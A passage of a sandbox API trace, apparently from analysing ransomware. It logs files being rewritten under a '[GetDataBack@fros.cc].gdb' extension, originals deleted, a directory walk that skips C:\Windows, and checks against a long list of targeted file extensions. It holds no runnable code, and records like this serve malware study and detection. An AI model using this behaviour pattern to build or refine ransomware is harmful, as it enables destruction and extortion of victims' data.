(in: hFile=0x1d4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x2420, lpOverlapped=0x0) returned 1 [0135.492] WriteFile (in: hFile=0x220, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x2430, lpOverlapped=0x0) returned 1 [0135.493] ReadFile (in: hFile=0x1d4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0135.493] WriteFile (in: hFile=0x220, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0135.493] SetEndOfFile (hFile=0x220) returned 1 [0135.493] CloseHandle (hObject=0x220) returned 1 [0135.494] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0135.494] SetEndOfFile (hFile=0x1d4) returned 1 [0135.495] CloseHandle (hObject=0x1d4) returned 1 [0135.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0135.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0135.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0135.496] lstrlenW (lpString=".doc") returned 4 [0135.496] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.496] lstrlenW (lpString=".docx") returned 5 [0135.496] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.496] lstrlenW (lpString=".pdf") returned 4 [0135.496] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.496] lstrlenW (lpString=".xls") returned 4 [0135.497] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.497] lstrlenW (lpString=".xlsx") returned 5 [0135.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.497] lstrlenW (lpString=".ppt") returned 4 [0135.497] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0135.497] lstrlenW (lpString=".zip") returned 4 [0135.497] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.497] lstrlenW (lpString=".rar") returned 4 [0135.497] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.497] lstrlenW (lpString=".bz2") returned 4 [0135.497] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.497] lstrlenW (lpString=".7z") returned 3 [0135.497] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0135.497] lstrlenW (lpString=".dbf") returned 4 [0135.497] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0135.497] lstrlenW (lpString=".1cd") returned 4 [0135.497] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0135.497] lstrlenW (lpString=".jpg") returned 4 [0135.497] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.505] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0135.505] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0135.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0135.506] GetLastError () returned 0x0 [0135.506] ReadFile (in: hFile=0x1d4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0xbd2, lpOverlapped=0x0) returned 1 [0135.543] WriteFile (in: hFile=0x220, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xbe0, lpOverlapped=0x0) returned 1 [0135.544] ReadFile (in: hFile=0x1d4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0135.544] WriteFile (in: hFile=0x220, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0135.544] SetEndOfFile (hFile=0x220) returned 1 [0135.996] CloseHandle (hObject=0x220) returned 1 [0137.582] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0137.582] SetEndOfFile (hFile=0x1d4) returned 1 [0137.583] CloseHandle (hObject=0x1d4) returned 1 [0137.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0137.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0137.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0137.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0137.584] lstrlenW (lpString=".doc") returned 4 [0137.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.584] lstrlenW (lpString=".docx") returned 5 [0137.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.584] lstrlenW (lpString=".pdf") returned 4 [0137.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.584] lstrlenW (lpString=".xls") returned 4 [0137.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.584] lstrlenW (lpString=".xlsx") returned 5 [0137.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.584] lstrlenW (lpString=".ppt") returned 4 [0137.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0137.584] lstrlenW (lpString=".zip") returned 4 [0137.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.584] lstrlenW (lpString=".rar") returned 4 [0137.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.584] lstrlenW (lpString=".bz2") returned 4 [0137.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.584] lstrlenW (lpString=".7z") returned 3 [0137.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0137.585] lstrlenW (lpString=".dbf") returned 4 [0137.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0137.585] lstrlenW (lpString=".1cd") returned 4 [0137.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0137.585] lstrlenW (lpString=".jpg") returned 4 [0137.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.585] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0137.585] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0137.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0137.585] GetLastError () returned 0x0 [0137.586] ReadFile (hFile=0x1d4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0) Thread: id = 23 os_tid = 0xb14 [0113.854] lstrlenW (lpString="C:") returned 2 [0113.854] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x6cfa88 | out: lpFindFileData=0x6cfa88) returned 0x52c4a8 [0113.854] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0113.854] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0113.854] lstrlenW (lpString="$Recycle.Bin") returned 12 [0113.854] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0113.855] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0113.855] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 0x52c4e8 [0113.855] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.855] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.855] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0113.855] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0113.855] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0113.855] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0113.856] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0113.856] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.856] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.856] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.856] lstrlenW (lpString="desktop.ini") returned 11 [0113.856] lstrlenW (lpString=".1cd") returned 4 [0113.856] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0113.856] lstrlenW (lpString=".3ds") returned 4 [0113.856] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0113.856] lstrlenW (lpString=".3fr") returned 4 [0113.856] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0113.856] lstrlenW (lpString=".3g2") returned 4 [0113.856] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0113.856] lstrlenW (lpString=".3gp") returned 4 [0113.856] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0113.856] lstrlenW (lpString=".7z") returned 3 [0113.856] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0113.856] lstrlenW (lpString=".accda") returned 6 [0113.856] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0113.856] lstrlenW (lpString=".accdb") returned 6 [0113.856] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0113.856] lstrlenW (lpString=".accdc") returned 6 [0113.856] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0113.856] lstrlenW (lpString=".accde") returned 6 [0113.856] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0113.856] lstrlenW (lpString=".accdt") returned 6 [0113.856] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0113.856] lstrlenW (lpString=".accdw") returned 6 [0113.856] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0113.856] lstrlenW (lpString=".adb") returned 4 [0113.856] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0113.856] lstrlenW (lpString=".adp") returned 4 [0113.856] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0113.856] lstrlenW (lpString=".ai") returned 3 [0113.856] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0113.856] lstrlenW (lpString=".ai3") returned 4 [0113.856] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0113.856] lstrlenW (lpString=".ai4") returned 4 [0113.856] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".ai5") returned 4 [0113.857] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".ai6") returned 4 [0113.857] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".ai7") returned 4 [0113.857] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".ai8") returned 4 [0113.857] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".anim") returned 5 [0113.857] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0113.857] lstrlenW (lpString=".arw") returned 4 [0113.857] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".as") returned 3 [0113.857] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0113.857] lstrlenW (lpString=".asa") returned 4 [0113.857] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".asc") returned 4 [0113.857] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".ascx") returned 5 [0113.857] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0113.857] lstrlenW (lpString=".asm") returned 4 [0113.857] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".asmx") returned 5 [0113.857] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0113.857] lstrlenW (lpString=".asp") returned 4 [0113.857] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".aspx") returned 5 [0113.857] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0113.857] lstrlenW (lpString=".asr") returned 4 [0113.857] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".asx") returned 4 [0113.857] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".avi") returned 4 [0113.857] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".avs") returned 4 [0113.857] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".backup") returned 7 [0113.857] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0113.857] lstrlenW (lpString=".bak") returned 4 [0113.857] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".bay") returned 4 [0113.857] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0113.857] lstrlenW (lpString=".bd") returned 3 [0113.857] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0113.857] lstrlenW (lpString=".bin") returned 4 [0113.857] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".bmp") returned 4 [0113.858] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".bz2") returned 4 [0113.858] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".c") returned 2 [0113.858] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0113.858] lstrlenW (lpString=".cdr") returned 4 [0113.858] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".cer") returned 4 [0113.858] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".cf") returned 3 [0113.858] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0113.858] lstrlenW (lpString=".cfc") returned 4 [0113.858] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".cfm") returned 4 [0113.858] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".cfml") returned 5 [0113.858] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0113.858] lstrlenW (lpString=".cfu") returned 4 [0113.858] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".chm") returned 4 [0113.858] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".cin") returned 4 [0113.858] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".class") returned 6 [0113.858] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0113.858] lstrlenW (lpString=".clx") returned 4 [0113.858] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".config") returned 7 [0113.858] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0113.858] lstrlenW (lpString=".cpp") returned 4 [0113.858] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".cr2") returned 4 [0113.858] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".crt") returned 4 [0113.858] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".crw") returned 4 [0113.858] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".cs") returned 3 [0113.858] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0113.858] lstrlenW (lpString=".css") returned 4 [0113.858] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0113.858] lstrlenW (lpString=".csv") returned 4 [0113.858] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".cub") returned 4 [0113.859] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".dae") returned 4 [0113.859] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".dat") returned 4 [0113.859] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".db") returned 3 [0113.859] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0113.859] lstrlenW (lpString=".dbf") returned 4 [0113.859] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".dbx") returned 4 [0113.859] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".dc3") returned 4 [0113.859] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".dcm") returned 4 [0113.859] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".dcr") returned 4 [0113.859] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".der") returned 4 [0113.859] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".dib") returned 4 [0113.859] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".dic") returned 4 [0113.859] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".dif") returned 4 [0113.859] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".divx") returned 5 [0113.859] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0113.859] lstrlenW (lpString=".djvu") returned 5 [0113.859] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0113.859] lstrlenW (lpString=".dng") returned 4 [0113.859] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".doc") returned 4 [0113.859] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".docm") returned 5 [0113.859] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0113.859] lstrlenW (lpString=".docx") returned 5 [0113.859] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0113.859] lstrlenW (lpString=".dot") returned 4 [0113.859] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0113.859] lstrlenW (lpString=".dotm") returned 5 [0113.859] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0113.860] lstrlenW (lpString=".dotx") returned 5 [0113.860] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0113.860] lstrlenW (lpString=".dpx") returned 4 [0113.860] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".dqy") returned 4 [0113.860] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".dsn") returned 4 [0113.860] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".dt") returned 3 [0113.860] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0113.860] lstrlenW (lpString=".dtd") returned 4 [0113.860] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".dwg") returned 4 [0113.860] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".dwt") returned 4 [0113.860] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".dx") returned 3 [0113.860] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0113.860] lstrlenW (lpString=".dxf") returned 4 [0113.860] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".edml") returned 5 [0113.860] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0113.860] lstrlenW (lpString=".efd") returned 4 [0113.860] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".elf") returned 4 [0113.860] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".emf") returned 4 [0113.860] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".emz") returned 4 [0113.860] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".epf") returned 4 [0113.860] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".eps") returned 4 [0113.860] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0113.860] lstrlenW (lpString=".epsf") returned 5 [0113.860] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0113.860] lstrlenW (lpString=".epsp") returned 5 [0113.860] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0113.861] lstrlenW (lpString=".erf") returned 4 [0113.861] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".exr") returned 4 [0113.861] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".f4v") returned 4 [0113.861] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".fido") returned 5 [0113.861] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0113.861] lstrlenW (lpString=".flm") returned 4 [0113.861] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".flv") returned 4 [0113.861] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".frm") returned 4 [0113.861] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".fxg") returned 4 [0113.861] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".geo") returned 4 [0113.861] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".gif") returned 4 [0113.861] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".grs") returned 4 [0113.861] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".gz") returned 3 [0113.861] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0113.861] lstrlenW (lpString=".h") returned 2 [0113.861] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0113.861] lstrlenW (lpString=".hdr") returned 4 [0113.861] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".hpp") returned 4 [0113.861] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".hta") returned 4 [0113.861] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".htc") returned 4 [0113.861] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".htm") returned 4 [0113.861] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".html") returned 5 [0113.861] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0113.861] lstrlenW (lpString=".icb") returned 4 [0113.861] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".ics") returned 4 [0113.861] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".iff") returned 4 [0113.861] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0113.861] lstrlenW (lpString=".inc") returned 4 [0113.862] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0113.862] lstrlenW (lpString=".indd") returned 5 [0113.862] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0113.862] lstrlenW (lpString=".ini") returned 4 [0113.862] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0113.862] lstrlenW (lpString="desktop.ini") returned 11 [0113.862] lstrlenW (lpString=".gdb") returned 4 [0113.862] lstrcmpiW (lpString1=".gdb", lpString2=".ini") returned -1 